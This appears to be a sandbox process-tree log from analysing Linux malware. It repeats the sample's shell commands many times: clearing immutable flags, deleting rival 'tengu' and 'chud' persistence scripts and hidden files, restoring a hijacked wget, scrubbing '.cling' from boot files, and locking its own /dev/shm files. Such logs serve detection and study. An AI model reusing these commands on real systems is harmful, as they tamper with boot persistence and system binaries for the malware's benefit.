                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1191
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1192
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1193
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1194
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1195
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1197
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1198
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1199
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1201
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1202
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1203
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1204
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1205
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1206
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1305
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1306
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1307
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1309
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1310
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1311
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1312
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1313
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1314
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1315
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1316
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1317
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1318
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1319
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1415
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1416
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1417
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1418
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1419
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1420
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1421
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1422
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1423
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /bin/wget.p /bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1424
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f /usr/bin/wget.p /usr/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1425
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f /sbin/wget.p /sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1426
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f /usr/sbin/wget.p /usr/sbin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1427
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f /usr/local/bin/wget.p /usr/local/bin/wget.r
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "chattr +i /dev/shm/.guardian /dev/shm/.grd1an 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1429
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      chattr +i /dev/shm/.guardian /dev/shm/.grd1an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1430
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sh -c "chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler 2>/dev/null; rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler /etc/systemd/system/*chud*.service /etc/systemd/system/*tengu*.service /tmp/.up /tmp/.proxy.pid /dev/shm/.journal 2>/dev/null; for i in 2 3 4 5; do rm -f /etc/rc\$i.d/S*tengu /etc/rc\$i.d/S*chud*; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Removes the immutable protection flag from a file
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1518
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        chattr -i /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1519
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          rm -f /etc/init.d/tengu /etc/init.d/chud-daemon /etc/init.d/chud-watchdog /etc/init.d/chud-scheduler "/etc/systemd/system/*chud*.service" "/etc/systemd/system/*tengu*.service" /tmp/.up /tmp/.proxy.pid /dev/shm/.journal
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1520
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -f "/etc/rc2.d/S*tengu" "/etc/rc2.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1521
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rm -f "/etc/rc3.d/S*tengu" "/etc/rc3.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1522
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                rm -f "/etc/rc4.d/S*tengu" "/etc/rc4.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1523
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  rm -f "/etc/rc5.d/S*tengu" "/etc/rc5.d/S*chud*"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sh -c "rm -f /root/.cling /usr/local/bin/.cling; for d in /bin /usr/bin /sbin /usr/sbin /usr/local/bin; do if [ -f \$d/wget.p ]; then R=\$(cat \$d/wget.p 2>/dev/null); if [ -n \"\$R\" ] && [ -x \"\$R\" ]; then rm -f \$d/wget; cp -f \"\$R\" \$d/wget; chmod 755 \$d/wget; else for bb in /bin/busybox /usr/bin/busybox /sbin/busybox; do if [ -x \$bb ]; then rm -f \$d/wget; ln -sf \$bb \$d/wget; break; fi; done; fi; fi; rm -f \$d/wget.p \$d/wget.r; done; for f in /etc/inittab /etc/init.d/rcS /etc/rc.d/rc.boot; do if [ -f \$f ] && grep -q '\\.cling' \$f 2>/dev/null; then grep -v '\\.cling' \$f > \$f.tmp 2>/dev/null; if [ -f \$f.tmp ]; then cat \$f.tmp > \$f; fi; rm -f \$f.tmp; fi; done 2>/dev/null"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1525
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rm -f /root/.cling /usr/local/bin/.cling
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1526
